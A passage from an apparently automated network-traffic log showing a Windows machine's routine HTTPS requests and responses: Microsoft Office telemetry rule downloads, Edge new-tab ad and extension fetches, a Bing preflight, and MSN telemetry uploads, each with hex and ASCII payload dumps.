2024-11-12 07:30:38 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:38 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d5f81cfa-001e-0017-1dd2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073038Z-16547b76f7f4k79zhC1DFWu9y00000000f8g00000000geng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:38 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	57070	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:38 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3b18ef07-001e-0028-3ba8-34c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073038Z-17df447cdb5w28bthC1DFWgb640000000bcg0000000038xz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:38 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	57071	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:38 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073038Z-16547b76f7fx6rhxhC1DFW76kg0000000fd0000000000efd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:38 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	57068	20.99.186.246	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=048A31DB7A676AF1398424EE7B306B35&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6aeba08b3e784f3ea84cf25a7503cf14 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1
2024-11-12 07:30:38 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2675 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132782-T700343878-C128000000002115129+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115129+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close
2024-11-12 07:30:38 UTC	2675	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 56 65 6e 69 63 65 2c 20 49 74 61 6c 79 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 56 65 6e 69 63 65 25 32 43 2b 49 74 61 6c 79 26 66 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Venice, Italy\",\"cta\":\"https:\/\/www.bing.com\/search?q=Venice%2C+Italy&f

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	57072	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:38 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073038Z-16547b76f7f7rtshhC1DFWrtqn0000000fb0000000008fyn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	57073	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:38 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 659aa3e6-801e-008f-64d2-2c2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073038Z-16547b76f7fdf69shC1DFWcpd00000000f5000000000dbka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	57074	152.195.19.97	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732001430&P2=404&P3=2&P4=axnMyjDCdHPwB9%2fDORSuSFhqwo3YIlRpasYsWzv%2bbPDZW1wOTyykjtrlO%2bca3bCq8sF6mBWZn17UkvWY8TLFmQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: RlFij42IpA2Ty62L7uFFQk Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:38 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11323169 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 12 Nov 2024 07:30:38 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-12 07:30:38 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	57080	23.198.7.178	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:38 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 6733041e77cc48bd8a53fce06b1265da UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-mg6eCY3PCcxQkKTwqge57U8H2cSTJwrCC7KrMuDH9mQ='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close Set-Cookie: MUID=0DA2B93A223269353F35AC0F235B6827; domain=.bing.com; expires=Sun, 07-Dec-2025 07:30:38 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=0DA2B93A223269353F35AC0F235B6827; expires=Sun, 07-Dec-2025 07:30:38 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=08A0FE4DAC8A68432ECBEB78ADE36959; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sun, 07-Dec-2025 07:30:38 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Thu, 12-Nov-2026 07:30:38 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Thu, 12-Nov-2026 07:30:38 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=25748A216C484607833B3F4090F5FA1F&dmnchg=1; domain=.bing.com; expires=Thu, 12-Nov-2026 07:30:38 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241112; domain=.bing.com; expires=Thu, 12-Nov-2026 07:30:38 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Thu, 12-Nov-2026 07:30:38 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=08A0FE4DAC8A68432ECBEB78ADE36959; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.a83a2f17.1731396638.2e22d772

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	57082	52.168.117.168	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731396636854&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11055 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1; _C_ETH=1
2024-11-12 07:30:38 UTC	11055	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 37 3a 33 30 3a 33 36 2e 38 35 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 34 30 63 34 37 32 39 2d 66 63 35 38 2d 34 39 33 66 2d 39 34 31 31 2d 39 30 36 65 38 32 63 61 31 64 39 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 32 32 31 33 38 38 34 35 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-12T07:30:36.853Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"740c4729-fc58-493f-9411-906e82ca1d95","epoch":"1221388456"},"app":{"locale
2024-11-12 07:30:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=49b06c1a5f394e3bb74c3b366d82376b&HASH=49b0&LV=202411&V=4&LU=1731396639721; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 07:30:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=23cd8a178af44135a8e0fecf6db5b247; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 08:00:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2867 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 07:30:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	57081	52.168.117.168	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731396636859&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4712 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=048A31DB7A676AF1398424EE7B306B35; _EDGE_S=F=1&SID=29B5806A46A26A7E2D0A955F47E16B94; _EDGE_V=1; _C_ETH=1
